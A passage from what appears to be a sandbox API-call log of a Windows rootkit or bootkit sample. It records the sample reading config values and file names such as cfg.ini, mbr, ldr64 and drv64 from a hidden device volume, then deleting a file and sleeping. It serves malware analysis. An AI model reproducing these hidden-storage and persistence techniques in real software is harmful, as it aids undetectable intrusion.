Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.033] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.033] IdePortDispatch () returned 0x103 [0127.033] KeWaitForMutexObject () returned 0x0 [0127.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.033] KeLeaveCriticalRegion () [0127.033] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.033] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.033] KeEnterCriticalRegion () [0127.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b51000 [0127.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.034] IdePortDispatch () returned 0x103 [0127.034] KeWaitForMutexObject () returned 0x0 [0127.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.034] IdePortDispatch () returned 0x103 [0127.034] KeWaitForMutexObject () returned 0x0 [0127.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.034] KeLeaveCriticalRegion () [0127.034] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.035] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.035] KeEnterCriticalRegion () [0127.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.035] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.035] KeLeaveCriticalRegion () [0127.035] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.035] KeEnterCriticalRegion () [0127.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.035] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.035] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.035] KeLeaveCriticalRegion () [0127.035] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.035] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.035] KeEnterCriticalRegion () [0127.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.035] ExFreePoolWithTag (P=0xfffffa8003bfad30, Tag=0x0) [0127.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.035] KeLeaveCriticalRegion () [0127.035] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.036] ReleaseMutex (hMutex=0xf0) returned 1 [0127.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.036] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.036] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.036] KeEnterCriticalRegion () [0127.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.036] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.036] IdePortDispatch () returned 0x103 [0127.036] KeWaitForMutexObject () returned 0x0 [0127.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.036] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.036] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.036] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.036] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.036] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037df310 [0127.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.036] KeLeaveCriticalRegion () [0127.036] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.036] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.036] KeEnterCriticalRegion () [0127.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.037] KeLeaveCriticalRegion () [0127.037] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.037] KeEnterCriticalRegion () [0127.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.037] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.037] IdePortDispatch () returned 0x103 [0127.037] KeWaitForMutexObject () returned 0x0 [0127.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.038] KeLeaveCriticalRegion () [0127.038] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.038] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.038] KeEnterCriticalRegion () [0127.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b72000 [0127.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.039] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.039] IdePortDispatch () returned 0x103 [0127.039] KeWaitForMutexObject () returned 0x0 [0127.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.039] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.039] IdePortDispatch () returned 0x103 [0127.039] KeWaitForMutexObject () returned 0x0 [0127.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.039] KeLeaveCriticalRegion () [0127.039] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.040] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.040] KeEnterCriticalRegion () [0127.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.040] KeLeaveCriticalRegion () [0127.040] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.040] KeEnterCriticalRegion () [0127.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.040] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.040] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.040] KeLeaveCriticalRegion () [0127.040] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.041] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.041] KeEnterCriticalRegion () [0127.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.041] ExFreePoolWithTag (P=0xfffffa80037df310, Tag=0x0) [0127.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.041] KeLeaveCriticalRegion () [0127.041] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.041] ReleaseMutex (hMutex=0xf0) returned 1 [0127.041] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.050] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.050] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.050] KeEnterCriticalRegion () [0127.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.050] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.050] IdePortDispatch () returned 0x103 [0127.050] KeWaitForMutexObject () returned 0x0 [0127.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.050] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.050] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.050] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.050] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.050] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4dc0 [0127.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.050] KeLeaveCriticalRegion () [0127.050] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.050] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.051] KeEnterCriticalRegion () [0127.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.051] KeLeaveCriticalRegion () [0127.051] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.051] KeEnterCriticalRegion () [0127.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.051] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.051] IdePortDispatch () returned 0x103 [0127.051] KeWaitForMutexObject () returned 0x0 [0127.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.051] KeLeaveCriticalRegion () [0127.051] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.051] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.051] KeEnterCriticalRegion () [0127.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b75000 [0127.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.051] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.052] IdePortDispatch () returned 0x103 [0127.052] KeWaitForMutexObject () returned 0x0 [0127.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.052] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.052] IdePortDispatch () returned 0x103 [0127.052] KeWaitForMutexObject () returned 0x0 [0127.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.052] KeLeaveCriticalRegion () [0127.052] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.053] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.053] KeEnterCriticalRegion () [0127.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.053] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.053] KeLeaveCriticalRegion () [0127.053] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.053] KeEnterCriticalRegion () [0127.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.053] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.053] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.053] KeLeaveCriticalRegion () [0127.053] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.053] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.053] KeEnterCriticalRegion () [0127.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.053] ExFreePoolWithTag (P=0xfffffa8003bf4dc0, Tag=0x0) [0127.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.053] KeLeaveCriticalRegion () [0127.053] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.054] ReleaseMutex (hMutex=0xf0) returned 1 [0127.054] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.054] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.054] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.054] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.054] KeEnterCriticalRegion () [0127.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.054] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.054] IdePortDispatch () returned 0x103 [0127.054] KeWaitForMutexObject () returned 0x0 [0127.054] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.055] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.055] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.055] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.055] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.055] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.055] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.055] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.055] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.055] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.055] KeLeaveCriticalRegion () [0127.055] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.055] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.055] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.055] KeEnterCriticalRegion () [0127.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.055] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.055] IdePortDispatch () returned 0x103 [0127.055] KeWaitForMutexObject () returned 0x0 [0127.055] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.056] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.056] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.056] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.056] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.056] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.056] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.056] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.056] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.056] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.056] KeLeaveCriticalRegion () [0127.056] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.056] ReleaseMutex (hMutex=0x100) returned 1 [0127.056] Sleep (dwMilliseconds=0x2bf20) [0127.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eee3730, dwHighDateTime=0x1d24fa4)) [0127.065] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 